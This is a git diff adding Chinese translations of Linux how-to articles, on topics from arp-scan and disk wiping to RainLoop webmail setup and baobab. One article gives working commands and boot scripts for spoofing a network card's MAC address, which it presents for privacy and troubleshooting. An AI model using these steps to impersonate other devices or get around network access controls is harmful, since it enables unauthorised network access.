Line》一书多达537页,增加了大量的细节,采用CC协议,可以[从此下载][21]。除了基础的命令行使用和shell脚本,这篇文章还包含了大量编程使用的命令章节,也有很多高级主题。 + +#### 6. [bash commands - Linux MAN Pages][6] #### + +#### 7. [Linux Online - Getting Started with Linux: Table of Contents][7] #### + +介绍所有频繁使用的linux术语 + +#### 8. [The Linux Documentation Project: Guides][8] #### + +这个教程的目标是关联所有Linux文档所关心的问题,范围从在线文档(man page,HTML,等等)到印刷的手册,包括,如安装,使用,和运行linux的话题。 + +#### 9. [LinuxCommand.org: Learning the shell][9] #### + +这篇文章是介绍shell的。 + +#### 10. [The Linux Documentation Project][10] #### + +提供免费,高质量的Linux操作系统文章 + +#### 11. [Linux Tutorial][11] #### + +这个网页有免费的linux学习课程,一个特别的Unix版本运行在普遍的个人电脑上。 + +#### 12. [Linux Network Configuration][12] #### + +这个Linux教程包含TCP/IP 网络,网络管理和系统配置基础。 + +#### 13. [Linux Online - Getting Started with Linux - Introduction][13] #### + +#### 14. [Linux Commands - A practical reference][14] #### + +这是关于linux命令行常见操作参考手册。 + +#### 15. [20 Linux System Monitoring Tools Every SysAdmin Should Know][15] #### + +提供工具解决服务器瓶颈问题,与之相关的CPU,内存,硬盘和网络子系统。 + +#### 16. [Linux Newbie Guide: Shortcuts And Commands][16] #### + +选择介绍了linux中实用的命令。 + +#### 17. [Debian Linux Tutorial][17] #### + +这个指导界面带你领略,如何安装Debian Linux操作系统,和在一个系统中建立一个最常见的互联网和局域网服务器。 + +#### 18. [YoLinux: Index of Linux Tutorials][18] #### + +Linux教程和技术关于Linux桌面和服务器配置的信息和实例。无论新手或者专家都适合的在线Linux技术培训和Linux应用安装,配置和使用。 + +#### 19. [Linux Tutorial][19] #### + +这个页面打算作为一个教程,而不是作为一步一步的指令或者一个提供给你链接到其他Linux网页的地方。 + +#### 20. [Linux Online - Linux Courses][20] #### + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=132962 + +译者:[Vic020](http://www.vicyu.net) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linux-tutorial.info/ +[2]:http://www.howtoforge.com/ +[3]:http://www.ee.surrey.ac.uk/Teaching/Unix/ +[4]:http://www.freeos.com/guides/lsst/ +[5]:http://www.linuxcommand.org/ +[6]:http://ss64.com/bash/ +[7]:http://www.linux.org/ +[8]:http://www.tldp.org/guides.html +[9]:http://www.linuxcommand.org/learning_the_shell.php +[10]:http://www.tldp.org/ +[11]:http://www.lowfatlinux.com/ +[12]:http://www.yolinux.com/TUTORIALS/LinuxTutorialNetworking.html +[13]:http://www.linux.org/ +[14]:http://www.pixelbeat.org/cmdline.html +[15]:http://www.cyberciti.biz/tips/top-linux-monitoring-tools.html +[16]:http://www.unixguide.net/linux/linuxshortcuts.shtml +[17]:http://www.aboutdebian.com/ +[18]:http://www.yolinux.com/TUTORIALS/ +[19]:http://www.linux-tutorial.info/modules.php?name=MContent&pageid=224 +[20]:http://www.linux.org/ +[21]:http://sourceforge.net/projects/linuxcommand/files/TLCL/13.07/TLCL-13.07.pdf/download \ No newline at end of file diff --git a/published/201404/How To Find IP Conflicts In Linux.md b/published/201404/How To Find IP Conflicts In Linux.md new file mode 100644 index 0000000000..5f0a6544c7 --- /dev/null +++ b/published/201404/How To Find IP Conflicts In Linux.md @@ -0,0 +1,40 @@ +如何在Linux中发现IP地址冲突 +================================================================================ +你们都知道什么是IP地址,是吧?它们被分配给网络上的设备来代表它们。它们通过DHCP服务器分配并且会经常改变。现在有两种IP地址。动态的一种会经常改变(几天一次),而静态的就如它的名字那样是静态的,意味着它们不会改变。 + +有时这会引发一些冲突。当一个动态IP被分配了并且有另外一台网络设备已经拥有了相同的IP。或者在相同网络子网上有多台分配IP的DHCP服务器。如果你有连通问题并且假设它是由于IP冲突造成的,那么你可以使用一个工具称作arp-scan来扫描它们。 + +这个工具会在本地网络发送ARP(Address Resolution Protocol)(地址解析协议)包来收集地址。如果有多个MAC地址声称拥有相同的IP地址,那么这里就存在冲突。 + +要在Ubuntu或者Debian上安装arp-scan则输入: + + $ sudo apt-get install arp-scan + +对于Fedora,CentOS或者RedHat: + + $ sudo yum install arp-scan + +要检测IP冲突,运行下面的命令: + + $ sudo arp-scan –I eth0 -l + +输出示例: + + 192.168.1.10 00:1b:a9:63:a2:4c BROTHER INDUSTRIES, LTD. + 192.168.1.30 00:1e:8f:58:ec:49 CANON INC. + 192.168.1.33 00:25:4b:1b:10:20 Apple, Inc + 192.168.1.37 10:9a:dd:55:d7:95 Apple Inc + 192.168.1.38 20:c9:d0:27:8d:56 (Unknown) + 192.168.1.39 d4:85:64:4d:35:be Hewlett Packard + 192.168.1.39 00:0b:46:e4:8e:6d Cisco (DUP: 2) + 192.168.1.40 90:2b:34:18:59:c0 (Unknown) + +在本例中,**192.168.1.39**这个IP冲突了,因为它出现了两次。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/find-ip-conflicts-linux/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201404/How to Wipe Free Disk Space in Linux.md b/published/201404/How to Wipe Free Disk Space in Linux.md new file mode 100644 index 0000000000..0a43946840 --- /dev/null +++ b/published/201404/How to Wipe Free Disk Space in Linux.md @@ -0,0 +1,51 @@ +如何在 Linux 中安全擦除删除的文件 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/How-to-Wipe-Free-Disk-Space-in-Linux-429965-2.jpg) + +**下面的教程将教给所有的 Linux 用户关于如何安全的擦除可用的硬盘驱动器(HDD)、固态硬盘驱动器(SSD)以及 USB 闪存驱动器空间,以使任何人都不能恢复被删除的文件。** + +是否有注意到,当你从系统中删除了一个文件,或从回收站中彻底删除后,它就会在文件系统中消失,但是,该文件实际上并未消失,它驻留在你的磁盘驱动器的可用空间中,仍然可以用数据恢复应用程序恢复回来。 + +这篇教程会提供两种方法。第一种是使用一款名叫 Wipe Free Space 的应用程序,它是由波兰开发者 Bogdan Drozdowski 开发的。第二种方法会使用众所周知的 BleachBit 软件。 + +虽然 BleachBit 是一款图形应用程序,Wipe Free Spac 是一款命令行软件,但开发者也提供了易用的图形用户界面(GUI),即使初级用户也可以容易使用,用来安全的擦除他们磁盘的可用空间。 + +> 选编者注:在继续往下阅读之前,最好知道这些应用程序会擦除未被使用的簇和块上的可用空间,也会擦除使用过的块上的所谓“闲置空间”,即删除文件和其他任意数据后可供再次使用的空间。 + +### 方法 1 - Wipe Free Space & Wipe Free Space GUI ### + +从你的 Linux 发布版本的默认软件源仓库中可以很容易的就安装上 Wipe Free Space 命令行应用程序。可以使用基于 RPM 的 Linux 发行版二进制包,也可以直接用源代码来编译安装。 + +安装完成后,可以从[这儿][1]下载图形用户界面前端程序,保存在 home 目录下,解压缩,然后双击 run.sh (或者在终端窗口下执行 sh run.sh 命令)文件就可以打开。 + +应用程序打开后,你可以把 wipefreespace 目录的可执行文件路径添加进来,所以点击“浏览”按钮,到 /usr/bin/ 下查找。然后添加要被擦除的文件系统。 + +确保已经勾选了窗口左边的 "Wipe only with zeros" 选项。如果你需要勾选更多的选项,首先请查看手册来了解怎么使用,因为他们可能会使你的驱动器崩溃。现在,请点击“开始擦除”按钮开始执行。 + +### 方法 2 - BleachBit ### + +这是最容易的方法,建议初级用户使用。从你的 Linux 发布版本的默认软件源仓库中很容易的就可以安装 BleachBit 应用程序。打开它,请确保您在侧边栏上的系统部分选中“可用磁盘空间”选项。点击“清除”按钮开始执行。 + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Wipe-Free-Disk-Space-in-Linux-429965-3.jpg) + +*BleachBit 的可用空间选项* + +整个擦除操作会进行很长时间。在主窗口上你可以看到详细的进度。如果你在这篇教程中遇到问题,别犹豫,在下面发表评论吧。 + +Wipe Free Space GUI 0.5 下载: + +- [Wipe Free Space GUI 0.5 tar.gz][2][binary] [210 KB] +- [Wipe Free Space GUI 0.5 tar.gz][3][sources] [380 KB] + + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Wipe-Free-Disk-Space-in-Linux-429965.shtml + +译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.softpedia.com/get/System/System-Administration/Wipe-Free-Space-GUI-50722.shtml +[2]:http://sourceforge.net/projects/wipefreespace/files/wipefreespace-gui-java/0.5/WipeFreeSpaceGUI-java-bin-0.5.tar.gz/download +[3]:http://sourceforge.net/projects/wipefreespace/files/wipefreespace-gui-java/0.5/WipeFreeSpaceGUI-java-src-0.5.tar.gz/download \ No newline at end of file diff --git a/published/201404/How to enable 32-bit support for 64-bit Ubuntu 13.10 or greater.md b/published/201404/How to enable 32-bit support for 64-bit Ubuntu 13.10 or greater.md new file mode 100644 index 0000000000..b6697e2f9a --- /dev/null +++ b/published/201404/How to enable 32-bit support for 64-bit Ubuntu 13.10 or greater.md @@ -0,0 +1,65 @@ +怎样打开64位 Ubuntu 的32位支持功能 +================================================================================ +大多数使用基于 Ubuntu/Debian 的发行版的人都更倾向于选择64位的系统,对吧?这是因为64位的系统能够充分发挥你的硬件的全部性能, 它使你能够在更紧张的内存资源下使用更复杂的软件,而且是真的快速使用,不必每次做一件小事都要等上许久。现在,32位仅有一个优点,那就是没有太多兼容性上的问题。每次JAVA更新都很让人很困惑,因为大多数用户都不能获得需要的库文件。在过去,很多别的软件和驱动也没有64位版。 + +因此,如果现在你有一个64位架构的系统,而且你可以使用之前的支持:包括驱动、64位版本和任何一个你需要的软件。这样就避免了所有的问题,对吧?现在有一个让你可以在64位系统中使用32位软件的方法,爽吗?就在你读了这篇文章然后照着做了之后就可以了。如果你有一个13.10或更高版本的Ubuntu/Debian,你需要安装一个叫做 ia32-libs 的基础包。现在,这个包已经被废弃了,所以你必须手工安装。 + +下面的命令可以在 Ubuntu/Debian 13.10 或更高的发行版上运行。 + +###第一步: 确认你有一个64位架构的内核 + +你可以打开终端然后输入: + + dpkg --print-architecture + +你将会看到像下面这样的内容: + + amd64 + +这说明着你已经拥有了64位架构内核。 + + +###第二步: 确认你打开了多架构支持功能 + +(多架构支持可以让你在有64位库的情况下使用32位库。) + + +输入: + + dpkg --print-foreign-architectures + +输出是: + + i386 + +如果你还没有多架构支持你需要打开它。 + + +另一种第二步: 打开多架构支持。 + + +输入: + + sudo dpkg --add-architecture i386 + + sudo apt -get update + +然后就会开始下载更新然后运行。 + +之后你需要输入: + + sudo apt-get dist-upgrade + +它会检查你已经拥有的库文件是否有更新的版本。 + +若果然有的话,它会问你是否需要更新(y/n)。 + +如此这般,你就已经成功地为你的64位系统安装了32位支持了。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/enable-32-bit-support-64-bit-ubuntu-13-10-greater/ + +译者:[crowner](https://github.com/crowner) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201404/How to set up RainLoop webmail in Ubuntu server.md b/published/201404/How to set up RainLoop webmail in Ubuntu server.md new file mode 100644 index 0000000000..46025cbfe1 --- /dev/null +++ b/published/201404/How to set up RainLoop webmail in Ubuntu server.md @@ -0,0 +1,103 @@ +如何在 Ubuntu server 中设置 RainLoop Webmail +================================================================================ +Webmail无疑是任何邮件服务器必不可少的一部分。虽然本地邮件客户端通常比Webmail的功能更多,但通过电子邮件客户端从外部可信的网络访问IMAP或SMTP有时会很棘手。再者,当你需要在一个特定的工作站、笔记本电脑或者移动设备去使用一个电子邮件客户端时,你可以在任何地方使用Webmail服务,只要你接入互联网。 + +本教程的重点是在一个运行 Apache 的 Ubuntu 服务器上安装配置[RainLoop][1] Webmail。RainLoop 是基于 PHP 的Webmail,并且有以下功能。 + +- 支持apache,nginx和其它网页服务器。 +- 标准接口补充了一个主题库可供选择。 +- 个人和非盈利项目可免费使用。 + +在写这篇文章时,RainLoop 还不支持邮件过滤和不在公司时的自动回复。 + +### 在 Ubuntu 服务器上安装 RainLoop ### + +首先,在服务器上设置必备的软件包。 + + # apt-get install wget unzip apache2 php5 php5-mysql libmysqlclient15-dev mysql-server poppassd + +接下来,下载和安装 RainLoop。 + + # mkdir /var/www/webmail + # cd /var/www/webmail + # wget http://repository.Rainloop.net/v1/Rainloop-1.6.3.706-e3c14e17bc4370a1561bcc68d1d494fd.zip + # unzip Rainloop-1.6.3.706-e3c14e17bc4370a1561bcc68d1d494fd.zip + # rm Rainloop-*.zip + +然后设置必要的权限。 + + # cd /var/www/webmail + # find . -type d -exec chmod 755 {} \; + # find . -type f -exec chmod 644 {} \; + # chown –R www-data:www-data /var/www/webmail + +我们马上就可以使用 RainLoop 了。最后,通过管理面板进行调整,接下来会有详细描述。 + +### 通过管理面板首次配置 ### + +很多配置参数通过一款界面友好的管理面板就能调整。使用以下凭证进入管理面板。 + +1. URL: http://IP/webmail/?admin +1. user: admin +1. Pass: 12345 + +当然,建议尽快修改默认密码。我们将使用管理面板去调整一下设置。 + +### 增加邮件域 ### + +在 管理面板> 域> 增加域 页面设置有效的域。建议服务器 IP 是本地服务器,如 127.0.0.1。基于服务器配置,RainLoop 可以配置使用 IMAP/IMAPS 或 SMTP/SMTPS。并且,确认‘使用短登录表单’复选框已勾选。 + +![](http://farm4.staticflickr.com/3736/12603680854_eb22bd8eb8_z.jpg) + +使用‘测试连接’按钮验证设置。 + +### 启用联系人 ### + +联系人功能需要数据库支持。我们将使用 MySQL 数据库启用联系人。RainLoop 可以手动创建所需的数据库,如下。 + + # mysql -u root -p + + mysqlcreate database rainloop; + mysqlexit; + +现在这个功能可以通过管理面板>联系人页面启用。 + +![](http://farm8.staticflickr.com/7452/12603262215_2299bdafc5_z.jpg) + +再来一次,使用‘测试’按钮检查设置。 + +### 启动密码更改插件 ### + +在多数 linux 的邮件账户的邮件服务器是用自己的 UID 和 GID 操作系统的实际用户。因此,在过去更改这些账户的密码是很棘手的。幸好,今天有工具可以完成这个工作。这个工具是 poppassd。 + +第一步是在服务器上安装 poppassd,可以用 apt-get 来完成。 + + # apt-get install poppassd + +接下来,去允许 RainLoop 使用 poppassd,从 管理面板> 软件包 页面安装 RainLoop 插件 poppassd。 + +![](http://farm4.staticflickr.com/3734/12603357113_a966caf534_z.jpg) + +最后,poppassd 插件可以从 管理面板> 插件页面启用。 + +![](http://farm8.staticflickr.com/7356/12603681254_56fc0b3e9f_z.jpg) + +现在所有参数已设置,用户可以从他们提供的凭证登录,如截图所示。 + +- URL: http://IP/webmail +- user: user@domain +- pass: password + +![](http://farm4.staticflickr.com/3721/12603357333_724fbddaff_z.jpg) + +希望这篇文章能帮助到你。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/02/rainloop-webmail-ubuntu-server.html + +译者:[Vito](https://github.com/vito-L) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://rainloop.net/ diff --git a/published/201404/How to spoof the MAC address of a network interface on Linux.md b/published/201404/How to spoof the MAC address of a network interface on Linux.md new file mode 100644 index 0000000000..20257af7ae --- /dev/null +++ b/published/201404/How to spoof the MAC address of a network interface on Linux.md @@ -0,0 +1,121 @@ +Linux 上的 MAC 地址欺骗 +================================================================================ +网卡生产商在每一张网卡(NIC)在出厂时都会在上面刻上一个48位的全球唯一标识符(GUID,例如08:4f:b5:05:56:a0),这串 GUID 就是网卡的 MAC 地址,用于确定一张网卡的身份。MAC 地址的高24位叫 OUI(Organizationally Unique Identifier 组织唯一标示符),是为网卡设置 MAC 地址的组织的标识符,这样一来,不同组织设置的 MAC 地址就不会冲突了。(译注:实际生产中,并不是每个网络设备都有不同的MAC地址,有时候地址空间不足,生产商会给发往不同地区国家的产品中用相同的地址空间。) + +虽然 MAC 地址由厂商指定,但用户可以改变它,这就是传说中的“MAC 地址欺骗”。本文将向大家展示**如何在 Linux 上玩 MAC 地址欺骗**。 + +### 为什么要玩 MAC 地址欺骗? ### + +想要理由?这里就给几个比较有技术含量的理由。 一些网络供应商会通过绑定你家路由器上的 MAC 地址来验证你的身份,这个时候如果你的路由器坏了,你怎么办?你可以暂时把你的电脑的 MAC 地址改成你家路由器的 MAC 地址,让你的 ISP 重新将你连入外网。(译注:有这种事情么?) + +很多 DHCP 服务器会依赖 MAC 地址来分配 IP 地址。如果你想换一个分配给你的 IP 地址,你可以改改你的 MAC 地址。这样一来,你不必等着 DHCP 服务器给你重新分一个 IP 地址,而是马上就能得到一个新的。 + +除了技术原因外,这里也有一些比较正当的理由来说明你为什么需要改变你的 MAC 地址:为了隐私、为了安全,你要把你真正的 MAC 地址隐藏起来。不像处在 ISO 模型第三层的 IP 地址会经常变来变去,你的 MAC 地址可不会改变。在你说我多疑之前,请确定你知道[你的隐私][1]到底是什么东西。有一个入侵手段叫 [piggybacking][2],黑客会在公共 WiFi 网络下伪装成你的 MAC 地址,并且在你不在场的时候伪装成你的身份进行黑客活动。 + +### 怎么临时性地改变 MAC 地址? ### + +你可以在 Linux 运行的时候改变 MAC 地址。需要注意的是当 MAC 地址转换的那一会时间,你的网络会掉线。当电脑重启时 MAC 地址又会变回原来的。下面介绍几种方法来改变你的 MAC 地址。 + +#### 方法一:iproute2 #### + + $ sudo ip link set dev eth0 down + $ sudo ip link set dev eth0 address 00:00:00:00:00:01 + $ sudo ip link set dev eth0 up + +#### 方法二:macchanger #### + +macchanger 这个命令可以让你把 MAC 地址改成不同生产厂商的序列号。 + +在 Debian,Ubuntu 或 Linux Mint 下安装 macchanger: + + $ sudo apt-get install macchanger + +在 Fedora 下安装 macchanger: + + $ sudo yum install macchanger + +在 CentOS 或 RHEL 下安装 macchanger: + + $ wget http://ftp.club.cc.cmu.edu/pub/gnu/macchanger/macchanger-1.6.0.tar.gz + $ tar xvfvz macchanger-1.6.0.tar.gz + $ cd macchanger-1.6.0 + $ ./configure + $ make + $ sudo make install + +下面给出一些 macchanger 的高级使用例子。使用 macchanger 你不必再手动禁用、启用你的网卡。 + +仅仅改变 MAC 地址: + + $ sudo macchanger --mac=00:00:00:00:00:01 eth0 + +在保证 OUI 一致的情况下为 MAC 设置一个随机地址: + + $ sudo macchanger -e eth0 + +为 MAC 设置一个完全随机的地址: + + $ sudo macchanger -r eth0 + +获取所有网卡的 MAC 地址,然后只列出指定的厂商(比如 Juniper): + + $ macchanger -l | grep -i juniper + +![](https://c2.staticflickr.com/8/7409/12602895995_eeea1f7516.jpg) + +显示一块网卡原来的 MAC 地址和伪装的 MAC 地址: + + $ macchanger -s eth0 + +> Current MAC: 56:95:ac:ee:6e:77 (unknown) +> Permanent MAC: 00:0c:29:97:68:02 (Vmware, Inc.) + +### 如何永久性地改变 MAC 地址? ### + +如果你想在系统重启后还保持伪装 MAC 地址,你需要编辑配置文件。比如你想改变 eth0 的 MAC 地址,按以下方法搞起: + +#### 在 Fedora,CentOS 或 RHEL 下: #### + + $ sudo vi /etc/sysconfig/network-scripts/ifcfg-eth0 + +> DEVICE=eth0 +> MACADDR=00:00:00:00:00:01 + +或者你可以建一个开机启动的脚本放在 /etc/NetworkManager/dispatcher.d 目录下,前提是你使用 Network Manager 管理你的网络。这里假设你已经装了 macchanger,脚本内容如下: + + $ sudo vi /etc/NetworkManager/dispatcher.d/000-changemac + +> #!/bin/bash +> +> case "$2" in +> up) +> macchanger --mac=00:00:00:00:00:01 "$1" +> ;; +> esac + + $ sudo chmod 755 /etc/NetworkManager/dispatcher.d/000-changemac + +#### 在 Debian,Ubuntu 或 Linux Mint 下: #### + +新建一个开机启动脚本,放在 /etc/network/if-up.d/ 目录下: + + $ sudo vi /etc/network/if-up.d/changemac + +> #!/bin/sh +> +> if [ "$IFACE" = eth0 ]; then +> ip link set dev "$IFACE" address 00:00:00:00:00:01 +> fi + + $ sudo chmod 755 /etc/network/if-up.d/changemac + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/02/spoof-mac-address-network-interface-linux.html + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.identityblog.com/?p=1131 +[2]:http://en.wikipedia.org/wiki/Piggybacking_(Internet_access) diff --git a/published/201404/Interesting facts about Raspberry Pi.md b/published/201404/Interesting facts about Raspberry Pi.md new file mode 100644 index 0000000000..a7f57a7b1d --- /dev/null +++ b/published/201404/Interesting facts about Raspberry Pi.md @@ -0,0 +1,51 @@ +树莓派有趣的事实 +================================================================================ +树莓派庆祝了它的第二个生日。自从在2012.2.29初次登台以来,树莓派已经引导了一代新的微型、便宜的独板电脑。大量基于树莓派的DIY项目想法通过网络涌现,并且在开发世界中有许多使用案例将树莓派作为低成本学习媒介。为了庆祝它的第二个生日,我会在这篇文章中分享几个**树莓派有趣的事实** + +![](http://farm3.staticflickr.com/2207/12961865855_b022bf59dd_z.jpg) + +1. [100,000 块树莓派板子][1] 在发行首日售出,并且现在已有超过 [250万块板子][2] 在世界范围内售出。 + +2. 首批树莓派在中国台湾制造,,但是现在所有在售的板子在 [英国制造][3]。 + +3. 树莓派可以超频 (通过进入所谓的 [turbo 模式][4])。 你可以修改 [overclocking/overvolting options][5] 或者在运行时使用raspi-config工具,或者在启动时修改启动参数/boot/config.txt。改变 overclocking/overvolting 选项不会影响你的保修。 + +4. 树莓派不带MPEG-2解码器。 增加一个MPEG-2/VC-1编码授权会[增加10%的板子价格][6]。 因此,你可以在你需要的时候再 [购买 MPEG-2/VC-1 序列号][7]。购买的序列号与你的树莓派绑定在一起。 + +5. 你 [不可以在树莓派上(ARMv6)运行Windows 8][8],因为 Windows 8 要求ARMv7或者更高级的处理器。同样地,你不可以在树莓派上运行Ubuntu因为Ubuntu也只支持 [ARMv7 后者更高][9]。 + +6. 树莓派(Raspberry Pi)[最初][10]的名字是: "树莓"(Raspberry),这起源于以前对于微处理器以水果命名的传统。 "派"(Pi)指的是 "Python" 因为Python是第一个移植到树莓派的程序. + +7. [树莓派logo][11]中的树莓实际上是一个3D [富勒烯][12] (或者巴克球),它一共有32面。 logo中的11面是可见的。凑巧的是,树莓派有一颗32位的ARM11处理器。 + +8. Methematica, 一款商业的流行的计算软件,现在已经在树莓派上[免费捆绑了][13]。 + +9. (感谢加里•格兰特) Kickstarter上最大的基于树莓派的项目是 [Kano][14],它的目的是发行一个计算机/编码工具箱来帮助各年龄段的人制造一套他们自己的电脑。项目已经从13,387名支持者中获得$1,522,160。 + +10. 根据 [Rastrack.co.uk][15],树莓派最流行的国家是英国。 + +就是这些。如果你有任何关于树莓派有趣的事实,欢迎随时插话。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/03/interesting-facts-raspberry-pi.html + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.zdnet.com/we-thought-wed-sell-1000-the-inside-story-of-the-raspberry-pi-7000009718/ +[2]:http://www.raspberrypi.org/archives/6299 +[3]:http://www.raspberrypi.org/archives/5016 +[4]:http://www.raspberrypi.org/archives/2008 +[5]:http://elinux.org/RPi_config.txt#Overclocking_options +[6]:http://www.raspberrypi.org/archives/1839 +[7]:http://www.raspberrypi.com/ +[8]:http://www.gamesindustry.biz/articles/digitalfoundry-inside-raspberry-pi +[9]:https://wiki.ubuntu.com/ARM +[10]:http://www.techspot.com/article/531-eben-upton-interview/ +[11]:http://www.raspberrypi.org/archives/221 +[12]:http://en.wikipedia.org/wiki/Buckminsterfullerene +[13]:http://blog.stephenwolfram.com/2013/11/putting-the-wolfram-language-and-mathematica-on-every-raspberry-pi/ +[14]:https://www.kickstarter.com/projects/alexklein/kano-a-computer-anyone-can-make +[15]:http://www.rastrack.co.uk/ diff --git a/published/201404/Linux 3.15 Will Dramatically Reduce Suspend And Resume Times!.md b/published/201404/Linux 3.15 Will Dramatically Reduce Suspend And Resume Times!.md new file mode 100644 index 0000000000..6d38175437 --- /dev/null +++ b/published/201404/Linux 3.15 Will Dramatically Reduce Suspend And Resume Times!.md @@ -0,0 +1,19 @@ +Linux 3.15 会动态减少挂起和恢复时间! +================================================================================ +预期在2014年中发布的Linux 3.15内核会带来大量ACPI和电源管理的更新。感谢更新,Linux系统会在不久的将来可以更快地挂起与恢复。 + +![Linux 3.15 kernel, ACPI, power management updates, Linux systems, Rafael Wysocki, asynchronous threads, Nvidia's Maxwell architecture, Linux kernel 3.14](http://www.efytimes.com/admin/useradmin/photo/kDMH35305PM3242014.jpg) + +拉斐尔·维索斯基,一名在英特尔负责维护linux内核电源管理代码的人员,指出了这一变化。Phoronix的报道引用了"对用户可见的在Linux 3.15 的内核中应该会减少系统挂起和恢复的时间,感谢启用了更多的异步线程。" Linux 3.15 也许同样会带来Nvidia Maxwell架构的基础支持。更多的细节还需等待。 + +同时,最新的稳定版Linux内核是3.13.6。Linux创始人,林纳斯·托瓦兹官方宣布即将到来的3.14的第6版候选发布版。RC6是Linux 3.14-rc5的继任者。现在可以下载来测试了。然而,因为它是一个开发版本,它不该在生产机上安装。 + +林纳斯·托瓦兹在发布说明中说:"我们正在接近rc周期的最后阶段,我不得不承认我希望这里的曲折少一点。这里没有任何太大的问题,但是在这个发布周期的最后还有一些小问题。同样rc6显著地比rc5更大。" 托瓦兹说他希望事情可以更平静,但是这里仍有一些小问题包括一些愚蠢的错误,还有晚一些的提交恢复。如果事情不能解决,托瓦兹已经暗示会发布rc8和rc9。Linux 3.14-rc6包含了一些简单的更新。 + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=133613 + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201404/Linux Basics--Analyze Disk Usage In Ubuntu Linux.md b/published/201404/Linux Basics--Analyze Disk Usage In Ubuntu Linux.md new file mode 100644 index 0000000000..2ee793bf5c --- /dev/null +++ b/published/201404/Linux Basics--Analyze Disk Usage In Ubuntu Linux.md @@ -0,0 +1,55 @@ +Linux基础:分析 Ubuntu 磁盘使用情况 +================================================================================ +亲爱的linux极客们, + +在这篇文章中,我将指导你们如何在 Ubuntu 中对磁盘使用情况进行分析。为了确保系统的健康,运行的流畅,时常关心机器的硬盘,适当的运行一些分析是非常重要的,当然,运行这些分析是很容易的。为了完成分析,我们将使用一款非常棒的图形工具,名叫**Baobab**。 + +在下一步操作之前,我可以告诉你们,它的使用非常简单,功能齐全,我确定它能够满足你的需求。Baobab 是 gnome-utils 的一部分,但是自从Gnome3.4版本后,已经作为独立应用。通过使用这个磁盘分析工具,你可以轻松扫描文件夹,文件系统,不单是本地,远程目录一样可以轻松分析。 + +只需轻轻点击,便可以搞定一切!想要停止扫描?简单,在 baobab 用户界面的顶部,轻点 **Stop scanning** 按钮,完成。 + +我喜欢这个工具的简单性并且可以图形化表示数据,像饼状图和树形图。那么,现在你们在自己的机子上安装使用如何呢? + +据我所知,ubuntu已经默认安装,如果没有,打开一个新终端(**CTRL+ALT+T**),然后运行下列命令来安装它。 + + sudo apt-get install baobab + +安装完毕后,会分类至**应用程序, 系统工具, 磁盘分析器**,或者,直接使用下列命令,在终端中运行baobab。 + + baobab + +下列图片显示了当它在你的机器运行时的界面。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/02/baobab1.png) + +如需扫描 Home 目录,点击 **Scan Home** 或者 Analyzer->Scan Home Folder 选项。完成扫描后,工具会做很多分析,耐心等待分析结果吧! + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/02/baobab2.png) + +正如上图所见,baobab 扫描结果提供给我们很多信息,包括 Home 目录中每一个文件夹的使用情况、大小,以及所拥有文件数。右边有一个饼状示意图。如果你喜欢,选择上方的 **View as Treemap Chart**,你可以轻松地把它换成树状图。 + +下图显示的是,选择树状图代替默认的饼状图的界面。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/02/baobab3.png) + +如需扫描文件系统,选择 Analyzer->Scan Filesystem ,如果你懒得去点击这些,有一个简单方法,快捷键**CTRL+F**。 + +选择你喜欢的方式,两个方法都会起效并做同样的扫描。快捷键的确易用省时,但是如果不是天天用这个工具,也很难同时记住所有快捷键。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/02/baobab4.png) + +如何扫描文件夹?简单!Analyzer-> Scan A Folder -> 选择你想要扫描的文件夹,快捷键是 **CTRL+O** 。是不是非常简单?是的!看见 Scan a Folder 按钮了吗?点击它扫描就开始了! + +下图显示了扫描完 python-nmap-0.1.4 后的结果。我用简单的方法得到了有用的信息列表。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/02/baobab5.png) + +你已经学会了如何扫描 Home 目录、文件系统和指定文件夹。有一个重要的功能,我还没有告诉你,但我确定你一定可以自己学会。是不是有远程文件夹需要扫描?好好发挥一下脑力吧! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/linux-basics-analyze-disk-usage-ubuntu-linux/ + +译者:[Vic___](http://www.vicyu.net) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 